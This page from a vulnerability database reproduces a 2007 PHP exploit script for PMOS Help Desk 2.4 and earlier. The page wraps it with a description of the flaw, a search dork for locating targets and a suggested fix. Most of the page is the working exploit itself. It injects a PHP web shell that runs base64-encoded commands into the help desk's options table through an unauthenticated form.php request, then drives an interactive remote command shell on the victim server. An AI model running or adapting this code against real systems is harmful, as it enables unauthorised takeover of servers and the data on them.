Lucene search
K

PMOS Help Desk <= 2.4 Remote Command Execution Exploit

🗓️ 26 Dec 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

PMOS Help Desk <= 2.4 Remote Command Execution Exploit - PHP code injection through /form.php allows attackers to inject and execute PHP code by manipulating the 'options' table

Code

                                                &lt;?php

/*
	------------------------------------------------------
	PMOS&nbsp;Help&nbsp;Desk&nbsp;&lt;=&nbsp;2.4&nbsp;Remote&nbsp;Command&nbsp;Execution&nbsp;Exploit
	------------------------------------------------------&nbsp;
	
	author...:&nbsp;EgiX
	mail.....:&nbsp;n0b0d13s[at]gmail[dot]com
	
	link.....:&nbsp;http://www.h2desk.com/pmos
	dork.....:&nbsp;&quot;Powered&nbsp;by&nbsp;PMOS&nbsp;Help&nbsp;Desk&quot;

	[-]&nbsp;PHP&nbsp;code&nbsp;injection&nbsp;through&nbsp;/form.php:

	28.	if(&nbsp;$_SESSION[login_type]&nbsp;==&nbsp;$LOGIN_INVALID&nbsp;)
	29.	&nbsp;&nbsp;Header(&nbsp;&quot;Location:&nbsp;{$HD_URL_LOGIN}?redirect=&quot;&nbsp;.&nbsp;urlencode(&nbsp;$HD_CURPAGE&nbsp;)&nbsp;);&nbsp;&lt;===
	30.
	31.	$global_priv&nbsp;=&nbsp;get_row_count(&nbsp;&quot;SELECT&nbsp;COUNT(*)&nbsp;FROM&nbsp;{$pre}privilege&nbsp;WHERE&nbsp;(&nbsp;user_id&nbsp;=&nbsp;'{$_SESSION[user][id]}'&nbsp;&amp;&amp;&nbsp;dept_id&nbsp;=&nbsp;'0'&nbsp;)&quot;&nbsp;);
	32.	if(&nbsp;!$global_priv&nbsp;)
	33.	&nbsp;&nbsp;Header(&nbsp;&quot;Location:&nbsp;$HD_URL_BROWSE&quot;&nbsp;);&nbsp;&lt;===
	34.
	35.	$options&nbsp;=&nbsp;array(&nbsp;&quot;header&quot;,&nbsp;&quot;footer&quot;,&nbsp;&quot;logo&quot;,&nbsp;&quot;title&quot;,&nbsp;(...)
	36.
	37.	if(&nbsp;$_GET[cmd]&nbsp;==&nbsp;&quot;customdel&quot;&nbsp;)
	38.	{
	39.	&nbsp;&nbsp;mysql_query(&nbsp;&quot;DELETE&nbsp;FROM&nbsp;{$pre}options&nbsp;WHERE&nbsp;(&nbsp;id&nbsp;=&nbsp;'{$_GET[id]}'&nbsp;)&quot;&nbsp;);
	40.	}
	41.	else&nbsp;if(&nbsp;isset(&nbsp;$_POST[header]&nbsp;)&nbsp;)
	42.	{
	43.	&nbsp;&nbsp;for(&nbsp;$i&nbsp;=&nbsp;0;&nbsp;$i&nbsp;&lt;&nbsp;count(&nbsp;$options&nbsp;);&nbsp;$i++&nbsp;)
	44.	&nbsp;&nbsp;{
	45.	&nbsp;&nbsp;&nbsp;&nbsp;$exists&nbsp;=&nbsp;get_row_count(&nbsp;&quot;SELECT&nbsp;COUNT(*)&nbsp;FROM&nbsp;{$pre}options&nbsp;WHERE&nbsp;(&nbsp;name&nbsp;=&nbsp;'{$options[$i]}'&nbsp;)&quot;&nbsp;);
	46.	&nbsp;&nbsp;&nbsp;&nbsp;if(&nbsp;$exists&nbsp;)
	47.	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mysql_query(&nbsp;&quot;UPDATE&nbsp;{$pre}options&nbsp;SET&nbsp;text&nbsp;=&nbsp;'&quot;&nbsp;.&nbsp;$_POST[$options[$i]]&nbsp;.&nbsp;&quot;'&nbsp;WHERE&nbsp;(&nbsp;name&nbsp;=&nbsp;'{$options[$i]}'&nbsp;)&quot;&nbsp;);
	48.	&nbsp;&nbsp;&nbsp;&nbsp;else
	49.	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;mysql_query(&nbsp;&quot;INSERT&nbsp;INTO&nbsp;{$pre}options&nbsp;(&nbsp;name,&nbsp;text&nbsp;)&nbsp;VALUES&nbsp;(&nbsp;'{$options[$i]}',&nbsp;'&quot;&nbsp;.&nbsp;$_POST[$options[$i]]&nbsp;.&nbsp;&quot;'&nbsp;)&quot;&nbsp;);&nbsp;&lt;===
	50.	&nbsp;&nbsp;}

	there&nbsp;isn't&nbsp;any&nbsp;exit()&nbsp;or&nbsp;die()&nbsp;function&nbsp;after&nbsp;header&nbsp;redirection&nbsp;at&nbsp;lines&nbsp;29,&nbsp;33...so&nbsp;an&nbsp;attacker&nbsp;can&nbsp;inject&nbsp;php&nbsp;code&nbsp;into&nbsp;the&nbsp;'options'
	table&nbsp;through&nbsp;the&nbsp;query&nbsp;at&nbsp;line&nbsp;49&nbsp;(or&nbsp;47)...injected&nbsp;code&nbsp;will&nbsp;be&nbsp;executed&nbsp;by&nbsp;eval()&nbsp;function&nbsp;located&nbsp;into&nbsp;some&nbsp;files...look&nbsp;at&nbsp;index.php:

	28.	$options&nbsp;=&nbsp;array(&nbsp;&quot;header&quot;,&nbsp;&quot;footer&quot;,&nbsp;&quot;logo&quot;,&nbsp;(...)
	29.	$data&nbsp;=&nbsp;get_options(&nbsp;$options&nbsp;);
	196.	&nbsp;&nbsp;eval(&nbsp;&quot;?&gt;&nbsp;{$data[header]}&nbsp;&lt;?&quot;&nbsp;);&nbsp;&lt;===

	[-]&nbsp;Bug&nbsp;fix&nbsp;in&nbsp;/form.php&nbsp;:

	28.	if(&nbsp;$_SESSION[login_type]&nbsp;==&nbsp;$LOGIN_INVALID&nbsp;)&nbsp;{
	29.	&nbsp;&nbsp;Header(&nbsp;&quot;Location:&nbsp;{$HD_URL_LOGIN}?redirect=&quot;&nbsp;.&nbsp;urlencode(&nbsp;$HD_CURPAGE&nbsp;)&nbsp;);
	30.	&nbsp;&nbsp;exit();
	31.	}
	32.
	33.	$global_priv&nbsp;=&nbsp;get_row_count(&nbsp;&quot;SELECT&nbsp;COUNT(*)&nbsp;FROM&nbsp;{$pre}privilege&nbsp;WHERE&nbsp;(&nbsp;user_id&nbsp;=&nbsp;'{$_SESSION[user][id]}'&nbsp;&amp;&amp;&nbsp;dept_id&nbsp;=&nbsp;'0'&nbsp;)&quot;&nbsp;);
	34.	if(&nbsp;!$global_priv&nbsp;)&nbsp;{
	35.	&nbsp;&nbsp;Header(&nbsp;&quot;Location:&nbsp;$HD_URL_BROWSE&quot;&nbsp;);
	36.	&nbsp;&nbsp;exit();
	37.	}
	
*/

error_reporting(0);
ini_set(&quot;default_socket_timeout&quot;,&nbsp;5);
set_time_limit(0);

function&nbsp;http_send($host,&nbsp;$packet)
{
	$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
	while&nbsp;(!$sock)
	{
		print&nbsp;&quot;\n[-]&nbsp;No&nbsp;response&nbsp;from&nbsp;{$host}:80&nbsp;Trying&nbsp;again...&quot;;
		$sock&nbsp;=&nbsp;fsockopen($host,&nbsp;80);
		sleep(1);
	}
	fputs($sock,&nbsp;$packet);
	$resp&nbsp;=&nbsp;&quot;&quot;;
	while&nbsp;(!feof($sock))&nbsp;$resp&nbsp;.=&nbsp;fread($sock,&nbsp;1);
	fclose($sock);
	return&nbsp;$resp;
}

print&nbsp;&quot;\n+----------------------------------------------------------------+&quot;;
print&nbsp;&quot;\n|&nbsp;PMOS&nbsp;Help&nbsp;Desk&nbsp;&lt;=&nbsp;2.4&nbsp;Remote&nbsp;Command&nbsp;Execution&nbsp;Exploit&nbsp;by&nbsp;EgiX&nbsp;|&quot;;
print&nbsp;&quot;\n+----------------------------------------------------------------+\n&quot;;

if&nbsp;($argc&nbsp;&lt;&nbsp;3)
{
	print&nbsp;&quot;\nUsage......:	php&nbsp;$argv[0]&nbsp;host&nbsp;path&nbsp;[options]\n&quot;;
	print&nbsp;&quot;\nhost.......:	target&nbsp;server&nbsp;(ip/hostname)&quot;;
	print&nbsp;&quot;\npath.......:	path&nbsp;to&nbsp;pmos&nbsp;directory&nbsp;(example:&nbsp;/&nbsp;or&nbsp;/pmos/)\n\n&quot;;
	die();
}

$host&nbsp;=&nbsp;$argv[1];
$path&nbsp;=&nbsp;$argv[2];
&nbsp;&nbsp;&nbsp;
//&nbsp;try&nbsp;to&nbsp;inject&nbsp;php&nbsp;shell&nbsp;into&nbsp;'header'&nbsp;record&nbsp;of&nbsp;'options'&nbsp;table...
$data	&nbsp;=&nbsp;&quot;header=&quot;.urlencode(&quot;&lt;?php&nbsp;error_reporting(0);echo&nbsp;__;passthru(base64_decode(\$_SERVER[HTTP_CMD]));echo&nbsp;__;die;&nbsp;?&gt;&quot;);
$packet&nbsp;&nbsp;=&nbsp;&quot;POST&nbsp;{$path}form.php&nbsp;HTTP/1.1\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($data).&quot;\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Keep-Alive:&nbsp;300\r\n&quot;;
$packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;keep-alive\r\n\r\n&quot;;
$packet&nbsp;.=&nbsp;$data;

http_send($host,&nbsp;$packet);

//&nbsp;...and&nbsp;start&nbsp;the&nbsp;shell!
define(STDIN,&nbsp;fopen(&quot;php://stdin&quot;,&nbsp;&quot;r&quot;));
while(1)
{
	print&nbsp;&quot;\nxpl0it-sh3ll&nbsp;&gt;&nbsp;&quot;;
	$cmd&nbsp;=&nbsp;trim(fgets(STDIN));
	if&nbsp;($cmd&nbsp;!=&nbsp;&quot;exit&quot;)
	{
		$packet&nbsp;&nbsp;=&nbsp;&quot;GET&nbsp;{$path}&nbsp;HTTP/1.1\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Host:&nbsp;{$host}\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Cmd:&nbsp;&quot;.base64_encode($cmd).&quot;\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Keep-Alive:&nbsp;300\r\n&quot;;
		$packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;keep-alive\r\n\r\n&quot;;
		$resp&nbsp;=&nbsp;http_send($host,&nbsp;$packet);
		if&nbsp;(!strpos($resp,&nbsp;&quot;__&quot;))&nbsp;die(&quot;\n[-]&nbsp;Exploit&nbsp;failed...\n&quot;);
		$shell&nbsp;=&nbsp;explode(&quot;__&quot;,&nbsp;$resp);
		print&nbsp;&quot;\n&quot;.$shell[1];
	}
	else&nbsp;break;
}

?&gt;
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

26 Dec 2007 00:00Current
7.1High risk
Vulners AI Score7.1
15